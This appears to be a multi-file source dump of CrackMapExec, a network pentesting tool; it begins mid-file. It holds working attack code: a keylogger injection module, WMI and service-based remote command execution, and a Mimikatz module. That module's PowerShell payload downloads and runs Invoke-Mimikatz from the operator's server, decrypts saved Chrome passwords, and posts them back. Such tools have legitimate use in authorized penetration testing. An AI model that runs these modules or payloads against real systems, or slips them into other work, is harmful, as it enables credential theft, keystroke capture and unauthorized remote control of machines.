62 | 63 | launcher = gen_ps_inject(keys_command, context) 64 | 65 | connection.ps_execute(launcher) 66 | context.log.success('Executed launcher') 67 | 68 | if not self.stream: 69 | users = connection.loggedon_users() 70 | keys_folder_path = os.path.join(context.log_folder_path, keys_folder) 71 | 72 | try: 73 | while True: 74 | for user in users: 75 | if '$' not in user.wkui1_username and os.path.exists(keys_folder_path): 76 | keys_log = os.path.join(keys_folder_path, 'keys_{}.log'.format(user.wkui1_username)) 77 | 78 | with open(keys_log, 'a+') as key_file: 79 | file_path = '/Users/{}/AppData/Local/Temp/{}'.format(user.wkui1_username, self.file_name) 80 | try: 81 | connection.conn.getFile('C$', file_path, key_file.write) 82 | context.log.success('Got keys! Stored in {}'.format(keys_log)) 83 | except Exception as e: 84 | context.log.debug('Error retrieving key file contents from {}: {}'.format(file_path, e)) 85 | 86 | sleep(self.poll) 87 | except KeyboardInterrupt: 88 | pass 89 | 90 | def on_request(self, context, request): 91 | if 'Invoke-PSInject.ps1' == request.path[1:]: 92 | request.send_response(200) 93 | request.end_headers() 94 | 95 | request.wfile.write(self.ps_script1) 96 | 97 | elif 'Get-Keystrokes.ps1' == request.path[1:]: 98 | request.send_response(200) 99 | request.end_headers() 100 | 101 | # We received the callback, so lets setup the folder to store the keys 102 | keys_folder_path = os.path.join(context.log_folder_path, 'get_keystrokes_{}'.format(request.client_address[0])) 103 | if not os.path.exists(keys_folder_path): os.mkdir(keys_folder_path) 104 | 105 | request.wfile.write(self.ps_script2) 106 | request.stop_tracking_host() 107 | 108 | else: 109 | request.send_response(404) 110 | request.end_headers() 111 | 112 | def on_shutdown(self, context, connection): 113 | if self.stream: 114 | self.smb_server.shutdown() 115 | -------------------------------------------------------------------------------- /cme/protocols/smb/wmiexec.py: -------------------------------------------------------------------------------- 1 | import ntpath, logging 2 | import os 3 | 4 | from gevent import sleep 5 | from cme.helpers.misc import gen_random_string 6 | from impacket.dcerpc.v5.dcomrt import DCOMConnection 7 | from impacket.dcerpc.v5.dcom import wmi 8 | from impacket.dcerpc.v5.dtypes import NULL 9 | 10 | class WMIEXEC: 11 | def __init__(self, target, share_name, username, password, domain, smbconnection, hashes=None, share=None): 12 | self.__target = target 13 | self.__username = username 14 | self.__password = password 15 | self.__domain = domain 16 | self.__lmhash = '' 17 | self.__nthash = '' 18 | self.__share = share 19 | self.__smbconnection = smbconnection 20 | self.__output = None 21 | self.__outputBuffer = '' 22 | self.__share_name = share_name 23 | self.__shell = 'cmd.exe /Q /c ' 24 | self.__pwd = 'C:\\' 25 | self.__aesKey = None 26 | self.__doKerberos = False 27 | self.__retOutput = True 28 | 29 | if hashes is not None: 30 | #This checks to see if we didn't provide the LM Hash 31 | if hashes.find(':') != -1: 32 | self.__lmhash, self.__nthash = hashes.split(':') 33 | else: 34 | self.__nthash = hashes 35 | 36 | if self.__password is None: 37 | self.__password = '' 38 | 39 | self.__dcom = DCOMConnection(self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver = True, doKerberos=self.__doKerberos) 40 | iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) 41 | iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) 42 | iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) 43 | iWbemLevel1Login.RemRelease() 44 | 45 | self.__win32Process,_ = iWbemServices.GetObject('Win32_Process') 46 | 47 | def execute(self, command, output=False): 48 | self.__retOutput = output 49 | if self.__retOutput: 50 | self.__smbconnection.setTimeout(100000) 51 | 52 | self.execute_handler(command) 53 | self.__dcom.disconnect() 54 | return self.__outputBuffer 55 | 56 | def cd(self, s): 57 | self.execute_remote('cd ' + s) 58 | if len(self.__outputBuffer.strip('\r\n')) > 0: 59 | print self.__outputBuffer 60 | self.__outputBuffer = '' 61 | else: 62 | self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s)) 63 | self.execute_remote('cd ') 64 | self.__pwd = self.__outputBuffer.strip('\r\n') 65 | self.__outputBuffer = '' 66 | 67 | def output_callback(self, data): 68 | self.__outputBuffer += data 69 | 70 | def execute_handler(self, data): 71 | if self.__retOutput: 72 | try: 73 | self.execute_fileless(data) 74 | except: 75 | self.cd('\\') 76 | self.execute_remote(data) 77 | else: 78 | self.execute_remote(data) 79 | 80 | def execute_remote(self, data): 81 | self.__output = '\\Windows\\Temp\\' + gen_random_string(6) 82 | 83 | command = self.__shell + data 84 | if self.__retOutput: 85 | command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1' 86 | 87 | logging.debug('Executing command: ' + command) 88 | self.__win32Process.Create(command, self.__pwd, None) 89 | self.get_output_remote() 90 | 91 | def execute_fileless(self, data): 92 | self.__output = gen_random_string(6) 93 | local_ip = self.__smbconnection.getSMBServer().get_socket().getsockname()[0] 94 | 95 | command = self.__shell + data + ' 1> \\\\{}\\{}\\{} 2>&1'.format(local_ip, self.__share_name, self.__output) 96 | 97 | logging.debug('Executing command: ' + command) 98 | self.__win32Process.Create(command, self.__pwd, None) 99 | self.get_output_fileless() 100 | 101 | def get_output_fileless(self): 102 | while True: 103 | try: 104 | with open(os.path.join('/tmp', 'cme_hosted', self.__output), 'r') as output: 105 | self.output_callback(output.read()) 106 | break 107 | except IOError: 108 | sleep(2) 109 | 110 | def get_output_remote(self): 111 | if self.__retOutput is False: 112 | self.__outputBuffer = '' 113 | return 114 | 115 | while True: 116 | try: 117 | self.__smbconnection.getFile(self.__share, self.__output, self.output_callback) 118 | break 119 | except Exception as e: 120 | if str(e).find('STATUS_SHARING_VIOLATION') >=0: 121 | # Output not finished, let's wait 122 | sleep(2) 123 | pass 124 | else: 125 | #print str(e) 126 | pass 127 | 128 | self.__smbconnection.deleteFile(self.__share, self.__output) 129 | -------------------------------------------------------------------------------- /cme/cli.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import sys 3 | from argparse import RawTextHelpFormatter 4 | from cme.loaders.protocol_loader import protocol_loader 5 | from cme.helpers.logger import highlight 6 | 7 | def gen_cli_args(): 8 | 9 | VERSION = '4.0.1dev' 10 | CODENAME = 'Bug Pr0n' 11 | 12 | p_loader = protocol_loader() 13 | protocols = p_loader.get_protocols() 14 | 15 | parser = argparse.ArgumentParser(description=""" 16 | ______ .______ ___ ______ __ ___ .___ ___. ___ .______ _______ ___ ___ _______ ______ 17 | / || _ \ / \ / || |/ / | \/ | / \ | _ \ | ____|\ \ / / | ____| / | 18 | | ,----'| |_) | / ^ \ | ,----'| ' / | \ / | / ^ \ | |_) | | |__ \ V / | |__ | ,----' 19 | | | | / / /_\ \ | | | < | |\/| | / /_\ \ | ___/ | __| > < | __| | | 20 | | `----.| |\ \----. / _____ \ | `----.| . \ | | | | / _____ \ | | | |____ / . \ | |____ | `----. 21 | \______|| _| `._____|/__/ \__\ \______||__|\__\ |__| |__| /__/ \__\ | _| |_______|/__/ \__\ |_______| \______| 22 | 23 | A swiss army knife for pentesting networks 24 | Forged by @byt3bl33d3r using the powah of dank memes 25 | 26 | {}: {} 27 | {}: {} 28 | """.format(highlight('Version', 'red'), 29 | highlight(VERSION), 30 | highlight('Codename', 'red'), 31 | highlight(CODENAME)), 32 | 33 | formatter_class=RawTextHelpFormatter, 34 | version='{} - {}'.format(VERSION, CODENAME), 35 | epilog="Ya feelin' a bit buggy all of a sudden?") 36 | 37 | parser.add_argument("-t", type=int, dest="threads", default=100, help="set how many concurrent threads to use (default: 100)") 38 | parser.add_argument("--timeout", default=None, type=int, help='max timeout in seconds of each thread (default: None)') 39 | parser.add_argument("--jitter", metavar='INTERVAL', type=str, help='sets a random delay between each connection (default: None)') 40 | parser.add_argument("--darrell", action='store_true', help='give Darrell a hand') 41 | parser.add_argument("--verbose", action='store_true', help="enable verbose output") 42 | 43 | subparsers = parser.add_subparsers(title='protocols', dest='protocol', description='available protocols') 44 | 45 | std_parser = argparse.ArgumentParser(add_help=False) 46 | std_parser.add_argument("target", nargs='*', type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)") 47 | std_parser.add_argument('-id', metavar="CRED_ID", nargs='+', default=[], type=str, dest='cred_id', help='database credential ID(s) to use for authentication') 48 | std_parser.add_argument("-u", metavar="USERNAME", dest='username', nargs='+', default=[], help="username(s) or file(s) containing usernames") 49 | std_parser.add_argument("-p", metavar="PASSWORD", dest='password', nargs='+', default=[], help="password(s) or file(s) containing passwords") 50 | fail_group = std_parser.add_mutually_exclusive_group() 51 | fail_group.add_argument("--gfail-limit", metavar='LIMIT', type=int, help='max number of global failed login attempts') 52 | fail_group.add_argument("--ufail-limit", metavar='LIMIT', type=int, help='max number of failed login attempts per username') 53 | fail_group.add_argument("--fail-limit", metavar='LIMIT', type=int, help='max number of failed login attempts per host') 54 | 55 | module_parser = argparse.ArgumentParser(add_help=False) 56 | mgroup = module_parser.add_mutually_exclusive_group() 57 | mgroup.add_argument("-M", "--module", metavar='MODULE', help='module to use') 58 | #mgroup.add_argument('-MC','--module-chain', metavar='CHAIN_COMMAND', help='Payload module chain command string to run') 59 | module_parser.add_argument('-o', metavar='MODULE_OPTION', nargs='+', default=[], dest='module_options', help='module options') 60 | module_parser.add_argument('-L', '--list-modules', action='store_true', help='list available modules') 61 | module_parser.add_argument('--options', dest='show_module_options', action='store_true', help='display module options') 62 | module_parser.add_argument("--server", choices={'http', 'https'}, default='https', help='use the selected server (default: https)') 63 | module_parser.add_argument("--server-host", type=str, default='0.0.0.0', metavar='HOST', help='IP to bind the server to (default: 0.0.0.0)') 64 | module_parser.add_argument("--server-port", metavar='PORT', type=int, help='start the server on the specified port') 65 | 66 | for protocol in protocols.keys(): 67 | protocol_object = p_loader.load_protocol(protocols[protocol]['path']) 68 | subparsers = getattr(protocol_object, protocol).proto_args(subparsers, std_parser, module_parser) 69 | 70 | if len(sys.argv) == 1: 71 | parser.print_help() 72 | sys.exit(1) 73 | 74 | args = parser.parse_args() 75 | 76 | return args 77 | -------------------------------------------------------------------------------- /cme/modules/mimikatz_enum_chrome.py: -------------------------------------------------------------------------------- 1 | from cme.helpers.powershell import * 2 | from cme.helpers.logger import write_log 3 | from datetime import datetime 4 | from StringIO import StringIO 5 | 6 | class CMEModule: 7 | ''' 8 | Executes PowerSploit's Invoke-Mimikatz.ps1 script (Mimikatz's DPAPI Module) to decrypt saved Chrome passwords 9 | Pros and cons vs the standard enum_chrome module: 10 | + Opsec safe, doesn't touch disk 11 | - Tends to error out and/or not decrypt all stored credentials (not sure why exactly, should work perfectly in theory) 12 | 13 | Module by @byt3bl33d3r 14 | ''' 15 | 16 | name = 'mimikatz_enum_chrome' 17 | description = "Decrypts saved Chrome passwords using Mimikatz" 18 | opsec_safe = True 19 | multiple_hosts = True 20 | supported_protocols = ['smb', 'mssql'] 21 | 22 | def options(self, context, module_options): 23 | ''' 24 | ''' 25 | 26 | self.ps_script = obfs_ps_script('powersploit/Exfiltration/Invoke-Mimikatz.ps1') 27 | 28 | def on_admin_login(self, context, connection): 29 | 30 | ''' 31 | Oook.. Think my heads going to explode 32 | 33 | So Mimikatz's DPAPI module requires the path to Chrome's database in double quotes otherwise it can't interpret paths with spaces. 34 | Problem is Invoke-Mimikatz interpretes double qoutes as seperators for the arguments to pass to the injected mimikatz binary. 35 | 36 | As far as I can figure out there is no way around this, hence we have to first copy Chrome's database to a path without any spaces and then decrypt 37 | the entries with Mimikatz, not ideal but it works. 38 | ''' 39 | 40 | payload = ''' 41 | $cmd = "privilege::debug sekurlsa::dpapi" 42 | $userdirs = get-childitem "$Env:SystemDrive\Users" 43 | foreach ($dir in $userdirs) {{ 44 | $LoginDataPath = "$Env:SystemDrive\Users\$dir\AppData\Local\Google\Chrome\User Data\Default\Login Data" 45 | 46 | if ([System.IO.File]::Exists($LoginDataPath)) {{ 47 | $rand_name = -join ((65..90) + (97..122) | Get-Random -Count 7 | % {{[char]$_}}) 48 | $temp_path = "$Env:windir\Temp\$rand_name" 49 | Copy-Item $LoginDataPath $temp_path 50 | $cmd = $cmd + " `"dpapi::chrome /in:$temp_path`"" 51 | }} 52 | 53 | }} 54 | $cmd = $cmd + " exit" 55 | 56 | IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-Mimikatz.ps1'); 57 | $creds = Invoke-Mimikatz -Command $cmd; 58 | $request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/'); 59 | $request.Method = 'POST'; 60 | $request.ContentType = 'application/x-www-form-urlencoded'; 61 | $bytes = [System.Text.Encoding]::ASCII.GetBytes($creds); 62 | $request.ContentLength = $bytes.Length; 63 | $requestStream = $request.GetRequestStream(); 64 | $requestStream.Write( $bytes, 0, $bytes.Length ); 65 | $requestStream.Close(); 66 | $request.GetResponse();'''.format(server=context.server, 67 | port=context.server_port, 68 | addr=context.localip) 69 | 70 | connection.ps_execute(payload) 71 | context.log.success('Executed payload') 72 | 73 | def on_request(self, context, request): 74 | if 'Invoke-Mimikatz.ps1' == request.path[1:]: 75 | request.send_response(200) 76 | request.end_headers() 77 | 78 | request.wfile.write(self.ps_script) 79 | 80 | else: 81 | request.send_response(404) 82 | request.end_headers() 83 | 84 | def on_response(self, context, response): 85 | response.send_response(200) 86 | response.end_headers() 87 | length = int(response.headers.getheader('content-length')) 88 | data = response.rfile.read(length) 89 | 90 | #We've received the response, stop tracking this host 91 | response.stop_tracking_host() 92 | 93 | if len(data): 94 | buf = StringIO(data).readlines() 95 | creds = [] 96 | 97 | try: 98 | i = 0 99 | while i < len(buf): 100 | if ('URL' in buf[i]): 101 | url = buf[i].split(':', 1)[1].strip() 102 | user = buf[i+1].split(':', 1)[1].strip() 103 | passw = buf[i+3].split(':', 1)[1].strip() 104 | 105 | creds.append({'url': url, 'user': user, 'passw': passw}) 106 | 107 | i += 1 108 | except: 109 | context.log.error('Error parsing Mimikatz output, please check log file manually for possible credentials') 110 | 111 | if creds: 112 | context.log.success('Found saved Chrome credentials:') 113 | for cred in creds: 114 | if cred['user'] and cred['passw']: 115 | context.log.highlight('URL: ' + cred['url']) 116 | context.log.highlight('Username: ' + cred['user']) 117 | context.log.highlight('Password: ' + cred['passw']) 118 | context.log.highlight('') 119 | 120 | log_name = 'EnumChrome-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S")) 121 | write_log(data, log_name) 122 | context.log.info("Saved Mimikatz's output to {}".format(log_name)) -------------------------------------------------------------------------------- /cme/protocols/smb/smbexec.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import os 3 | from gevent import sleep 4 | from impacket.dcerpc.v5 import transport, scmr 5 | from impacket.smbconnection import * 6 | from cme.helpers.misc import gen_random_string 7 | 8 | class SMBEXEC: 9 | 10 | def __init__(self, host, share_name, protocol, username = '', password = '', domain = '', hashes = None, share = None, port=445): 11 | self.__host = host 12 | self.__share_name = share_name 13 | self.__port = port 14 | self.__username = username 15 | self.__password = password 16 | self.__serviceName = gen_random_string() 17 | self.__domain = domain 18 | self.__lmhash = '' 19 | self.__nthash = '' 20 | self.__share = share 21 | self.__output = None 22 | self.__batchFile = None 23 | self.__outputBuffer = '' 24 | self.__shell = '%COMSPEC% /Q /c ' 25 | self.__retOutput = False 26 | self.__rpctransport = None 27 | self.__scmr = None 28 | self.__conn = None 29 | #self.__mode = mode 30 | #self.__aesKey = aesKey 31 | #self.__doKerberos = doKerberos 32 | 33 | if hashes is not None: 34 | #This checks to see if we didn't provide the LM Hash 35 | if hashes.find(':') != -1: 36 | self.__lmhash, self.__nthash = hashes.split(':') 37 | else: 38 | self.__nthash = hashes 39 | 40 | if self.__password is None: 41 | self.__password = '' 42 | 43 | stringbinding = 'ncacn_np:%s[\pipe\svcctl]' % self.__host 44 | logging.debug('StringBinding %s'%stringbinding) 45 | self.__rpctransport = transport.DCERPCTransportFactory(stringbinding) 46 | self.__rpctransport.set_dport(self.__port) 47 | 48 | if hasattr(self.__rpctransport, 'setRemoteHost'): 49 | self.__rpctransport.setRemoteHost(self.__host) 50 | if hasattr(self.__rpctransport, 'set_credentials'): 51 | # This method exists only for selected protocol sequences. 52 | self.__rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) 53 | #rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) 54 | 55 | self.__scmr = self.__rpctransport.get_dce_rpc() 56 | self.__scmr.connect() 57 | s = self.__rpctransport.get_smb_connection() 58 | # We don't wanna deal with timeouts from now on. 59 | s.setTimeout(100000) 60 | 61 | self.__scmr.bind(scmr.MSRPC_UUID_SCMR) 62 | resp = scmr.hROpenSCManagerW(self.__scmr) 63 | self.__scHandle = resp['lpScHandle'] 64 | 65 | def execute(self, command, output=False): 66 | self.__retOutput = output 67 | self.execute_fileless(command) 68 | self.finish() 69 | return self.__outputBuffer 70 | 71 | def output_callback(self, data): 72 | self.__outputBuffer += data 73 | 74 | def execute_fileless(self, data): 75 | self.__output = gen_random_string(6) 76 | self.__batchFile = gen_random_string(6) + '.bat' 77 | local_ip = self.__rpctransport.get_socket().getsockname()[0] 78 | 79 | if self.__retOutput: 80 | command = self.__shell + data + ' ^> \\\\{}\\{}\\{}'.format(local_ip, self.__share_name, self.__output) 81 | else: 82 | command = self.__shell + data 83 | 84 | with open(os.path.join('/tmp', 'cme_hosted', self.__batchFile), 'w') as batch_file: 85 | batch_file.write(command) 86 | 87 | logging.debug('Hosting batch file with command: ' + command) 88 | 89 | command = self.__shell + '\\\\{}\\{}\\{}'.format(local_ip,self.__share_name, self.__batchFile) 90 | logging.debug('Command to execute: ' + command) 91 | 92 | logging.debug('Remote service {} created.'.format(self.__serviceName)) 93 | resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command, dwStartType=scmr.SERVICE_DEMAND_START) 94 | service = resp['lpServiceHandle'] 95 | 96 | try: 97 | logging.debug('Remote service {} started.'.format(self.__serviceName)) 98 | scmr.hRStartServiceW(self.__scmr, service) 99 | except: 100 | pass 101 | logging.debug('Remote service {} deleted.'.format(self.__serviceName)) 102 | scmr.hRDeleteService(self.__scmr, service) 103 | scmr.hRCloseServiceHandle(self.__scmr, service) 104 | self.get_output_fileless() 105 | 106 | def get_output_fileless(self): 107 | if not self.__retOutput: return 108 | 109 | while True: 110 | try: 111 | with open(os.path.join('/tmp', 'cme_hosted', self.__output), 'r') as output: 112 | self.output_callback(output.read()) 113 | break 114 | except IOError: 115 | sleep(2) 116 | 117 | def finish(self): 118 | # Just in case the service is still created 119 | try: 120 | self.__scmr = self.__rpctransport.get_dce_rpc() 121 | self.__scmr.connect() 122 | self.__scmr.bind(scmr.MSRPC_UUID_SCMR) 123 | resp = scmr.hROpenSCManagerW(self.__scmr) 124 | self.__scHandle = resp['lpScHandle'] 125 | resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName) 126 | service = resp['lpServiceHandle'] 127 | scmr.hRDeleteService(self.__scmr, service) 128 | scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP) 129 | scmr.hRCloseServiceHandle(self.__scmr, service) 130 | except: 131 | pass 132 | -------------------------------------------------------------------------------- /cme/logger.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import sys 3 | import re 4 | from cme.helpers.misc import called_from_cmd_args 5 | from termcolor import colored 6 | from datetime import datetime 7 | 8 | #The following hooks the FileHandler.emit function to remove ansi chars before logging to a file 9 | #There must be a better way of doing this, but this way we might save some penguins! 10 | 11 | ansi_escape = re.compile(r'\x1b[^m]*m') 12 | 13 | def antiansi_emit(self, record): 14 | 15 | if self.stream is None: 16 | self.stream = self._open() 17 | 18 | record.msg = ansi_escape.sub('', record.message) 19 | logging.StreamHandler.emit(self, record) 20 | 21 | logging.FileHandler.emit = antiansi_emit 22 | 23 | #################################################################### 24 | 25 | class CMEAdapter(logging.LoggerAdapter): 26 | 27 | # For Impacket's TDS library 28 | message = '' 29 | 30 | def __init__(self, logger_name='CME', extra=None): 31 | self.logger = logging.getLogger(logger_name) 32 | self.extra = extra 33 | 34 | def process(self, msg, kwargs): 35 | if self.extra is None: 36 | return u'{}'.format(msg), kwargs 37 | 38 | if 'module' in self.extra.keys(): 39 | if len(self.extra['module']) > 8: 40 | self.extra['module'] = self.extra['module'][:8] + '...' 41 | 42 | #If the logger is being called when hooking the 'options' module function 43 | if len(self.extra) == 1 and ('module' in self.extra.keys()): 44 | return u'{:<64} {}'.format(colored(self.extra['module'], 'cyan', attrs=['bold']), msg), kwargs 45 | 46 | #If the logger is being called from CMEServer 47 | if len(self.extra) == 2 and ('module' in self.extra.keys()) and ('host' in self.extra.keys()): 48 | return u'{:<24} {:<39} {}'.format(colored(self.extra['module'], 'cyan', attrs=['bold']), self.extra['host'], msg), kwargs 49 | 50 | #If the logger is being called from a protocol 51 | if 'module' in self.extra.keys(): 52 | module_name = colored(self.extra['module'], 'cyan', attrs=['bold']) 53 | else: 54 | module_name = colored(self.extra['protocol'], 'blue', attrs=['bold']) 55 | 56 | return u'{:<24} {:<15} {:<6} {:<16} {}'.format(module_name, 57 | self.extra['host'], 58 | self.extra['port'], 59 | self.extra['hostname'].decode('utf-8') if self.extra['hostname'] else 'NONE', 60 | msg), kwargs 61 | 62 | def info(self, msg, *args, **kwargs): 63 | try: 64 | if 'protocol' in self.extra.keys() and not called_from_cmd_args(): 65 | return 66 | except AttributeError: 67 | pass 68 | 69 | msg, kwargs = self.process(u'{} {}'.format(colored("[*]", 'blue', attrs=['bold']), msg), kwargs) 70 | self.logger.info(msg, *args, **kwargs) 71 | 72 | def error(self, msg, *args, **kwargs): 73 | msg, kwargs = self.process(u'{} {}'.format(colored("[-]", 'red', attrs=['bold']), msg), kwargs) 74 | self.logger.error(msg, *args, **kwargs) 75 | 76 | def debug(self, msg, *args, **kwargs): 77 | pass 78 | 79 | def success(self, msg, *args, **kwargs): 80 | try: 81 | if 'protocol' in self.extra.keys() and not called_from_cmd_args(): 82 | return 83 | except AttributeError: 84 | pass 85 | 86 | msg, kwargs = self.process(u'{} {}'.format(colored("[+]", 'green', attrs=['bold']), msg), kwargs) 87 | self.logger.info(msg, *args, **kwargs) 88 | 89 | def highlight(self, msg, *args, **kwargs): 90 | try: 91 | if 'protocol' in self.extra.keys() and not called_from_cmd_args(): 92 | return 93 | except AttributeError: 94 | pass 95 | 96 | msg, kwargs = self.process(u'{}'.format(colored(msg, 'yellow', attrs=['bold'])), kwargs) 97 | self.logger.info(msg, *args, **kwargs) 98 | 99 | # For Impacket's TDS library 100 | def logMessage(self,message): 101 | CMEAdapter.message += message.strip().replace('NULL', '') + '\n' 102 | 103 | def getMessage(self): 104 | out = CMEAdapter.message 105 | CMEAdapter.message = '' 106 | return out 107 | 108 | def setup_debug_logger(): 109 | debug_output_string = "{} %(message)s".format(colored('DEBUG', 'magenta', attrs=['bold'])) 110 | formatter = logging.Formatter(debug_output_string) 111 | streamHandler = logging.StreamHandler(sys.stdout) 112 | streamHandler.setFormatter(formatter) 113 | 114 | root_logger = logging.getLogger() 115 | root_logger.propagate = False 116 | root_logger.addHandler(streamHandler) 117 | #root_logger.addHandler(fileHandler) 118 | root_logger.setLevel(logging.DEBUG) 119 | return root_logger 120 | 121 | def setup_logger(level=logging.INFO, log_to_file=False, log_prefix=None, logger_name='CME'): 122 | 123 | formatter = logging.Formatter("%(message)s") 124 | 125 | if log_to_file: 126 | if not log_prefix: 127 | log_prefix = 'log' 128 | 129 | log_filename = '{}_{}.log'.format(log_prefix.replace('/', '_'), datetime.now().strftime('%Y-%m-%d')) 130 | fileHandler = logging.FileHandler('./logs/{}'.format(log_filename)) 131 | fileHandler.setFormatter(formatter) 132 | 133 | streamHandler = logging.StreamHandler(sys.stdout) 134 | streamHandler.setFormatter(formatter) 135 | 136 | cme_logger = logging.getLogger(logger_name) 137 | cme_logger.propagate = False 138 | cme_logger.addHandler(streamHandler) 139 | 140 | if log_to_file: 141 | cme_logger.addHandler(fileHandler) 142 | 143 | cme_logger.setLevel(level) 144 | 145 | return cme_logger 146 | -------------------------------------------------------------------------------- /cme/protocols/http.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import os 3 | from gevent.pool import Pool 4 | from gevent.socket import gethostbyname 5 | from urlparse import urlparse 6 | from datetime import datetime 7 | from cme.helpers.logger import highlight 8 | from cme.logger import CMEAdapter 9 | from cme.connection import * 10 | from cme.helpers.http import * 11 | from requests import ConnectionError, ConnectTimeout, ReadTimeout 12 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 13 | from splinter import Browser 14 | from selenium.webdriver.common.desired_capabilities import DesiredCapabilities 15 | 16 | # The following disables the warning on an invalid cert and allows any SSL/TLS cipher to be used 17 | # I'm basically guessing this is the way to specify to allow all ciphers since I can't find any docs about it, if it don't worky holla at me 18 | requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':ANY:ALL' 19 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 20 | 21 | class http(connection): 22 | 23 | def __init__(self, args, db, host): 24 | self.args = args 25 | self.db = db 26 | self.hostname = host 27 | self.url = None 28 | self.transport = None 29 | self.port = None 30 | 31 | if self.hostname.startswith('http://') or self.hostname.startswith('https://'): 32 | port_dict = {'http': 80, 'https': 443} 33 | self.url = self.hostname 34 | 35 | self.transport, netloc,_,_,_,_ = urlparse(self.url) 36 | self.port = port_dict[self.transport] 37 | 38 | self.hostname = netloc 39 | if ':' in netloc: 40 | self.hostname, self.port = netloc.split(':') 41 | 42 | try: 43 | self.host = gethostbyname(self.hostname) 44 | except Exception as e: 45 | logging.debug('Error resolving hostname {}: {}'.format(self.hostname, e)) 46 | return 47 | 48 | self.proto_flow() 49 | 50 | @staticmethod 51 | def proto_args(parser, std_parser, module_parser): 52 | http_parser = parser.add_parser('http', help="own stuff using HTTP", parents=[std_parser, module_parser]) 53 | http_parser.add_argument('--port', nargs='*', default=[80, 443, 8443, 8008, 8080, 8081], help='http ports to connect to (default: 80, 443, 8443, 8008, 8080, 8081)') 54 | http_parser.add_argument('--transports', choices=['http', 'https'], default=['http', 'https'], help='force connection over http or https (default: all)') 55 | http_parser.add_argument('--screenshot', action='store_true', help='take a screenshot of the loaded webpage') 56 | 57 | return parser 58 | 59 | def proto_flow(self): 60 | if self.url: 61 | single_connection(self, self.transport, self.port) 62 | else: 63 | pool = Pool(len(self.args.transports) * len(self.args.port)) 64 | jobs = [] 65 | for transport in self.args.transports: 66 | for port in self.args.port: 67 | jobs.append(pool.spawn(single_connection, self, transport, port)) 68 | 69 | for job in jobs: 70 | job.join() 71 | 72 | class single_connection(connection): 73 | 74 | def __init__(self, http, transport, port): 75 | self.http = http 76 | self.db = http.db 77 | self.host = http.host 78 | self.url = http.url 79 | self.args = http.args 80 | self.port = port 81 | self.transport = transport 82 | self.hostname = http.hostname 83 | self.server_headers = None 84 | self.conn = None 85 | 86 | self.proto_flow() 87 | 88 | def proto_logger(self): 89 | self.logger = CMEAdapter(extra={'protocol': 'HTTP', 90 | 'host': self.host, 91 | 'port': self.port, 92 | 'hostname': self.hostname}) 93 | 94 | def print_host_info(self): 95 | self.logger.info('{} (Server: {}) (Page Title: {})'.format(self.conn.url, 96 | self.server_headers['Server'] if 'Server' in self.server_headers.keys() else None, 97 | self.conn.title.strip() if self.conn.title else None)) 98 | 99 | def create_conn_obj(self): 100 | user_agent = get_desktop_uagent() 101 | if self.url: 102 | url = self.url 103 | else: 104 | url = '{}://{}:{}/'.format(self.transport, self.hostname, self.port) 105 | 106 | try: 107 | r = requests.get(url, timeout=10, headers={'User-Agent': user_agent}) 108 | self.server_headers = r.headers 109 | except ConnectTimeout, ReadTimeout: 110 | return False 111 | except Exception as e: 112 | if str(e).find('Read timed out') == -1: 113 | logging.debug('Error connecting to {}://{}:{} :{}'.format(self.transport, self.hostname, self.port, e)) 114 | return False 115 | 116 | self.db.add_host(self.host, self.hostname, self.port) 117 | 118 | capabilities = DesiredCapabilities.PHANTOMJS 119 | capabilities['phantomjs.page.settings.userAgent'] = user_agent 120 | #capabilities['phantomjs.page.settings.resourceTimeout'] = 10 * 1000 121 | capabilities['phantomjs.page.settings.userName'] = 'none' 122 | capabilities['phantomjs.page.settings.password'] = 'none' 123 | 124 | self.conn = Browser('phantomjs', service_args=['--ignore-ssl-errors=true', '--web-security=no', '--ssl-protocol=any'], 125 | service_log_path=os.path.expanduser('~/.cme/logs/ghostdriver.log'), desired_capabilities=capabilities) 126 | 127 | self.conn.driver.set_window_size(1200, 675) 128 | self.conn.visit(url) 129 | return True 130 | 131 | def screenshot(self): 132 | screen_output = os.path.join(os.path.expanduser('~/.cme/logs/'), '{}:{}_{}'.format(self.hostname, self.port, datetime.now().strftime("%Y-%m-%d_%H%M%S"))) 133 | self.conn.screenshot(name=screen_output) 134 | self.logger.success('Screenshot stored at {}.png'.format(screen_output)) 135 | -------------------------------------------------------------------------------- /cme/modules/bloodhound.py: -------------------------------------------------------------------------------- 1 | from cme.helpers.powershell import * 2 | from cme.helpers.misc import validate_ntlm 3 | from cme.helpers.logger import write_log 4 | from sys import exit 5 | 6 | class CMEModule: 7 | ''' 8 | Executes the BloodHound recon script on the target and retreives the results onto the attackers' machine 9 | 2 supported modes : 10 | CSV : exports data into CSVs on the target file system before retreiving them (NOT opsec safe) 11 | Neo4j API : exports data directly to the Neo4j API (opsec safe) 12 | 13 | Module by Waffle-Wrath 14 | Bloodhound.ps1 script base : https://github.com/BloodHoundAD/BloodHound 15 | ''' 16 | 17 | name = 'bloodhound' 18 | description = 'Executes the BloodHound recon script on the target and retreives the results to the attackers\' machine' 19 | supported_protocols = ['smb'] 20 | opsec_safe= False 21 | multiple_hosts = False 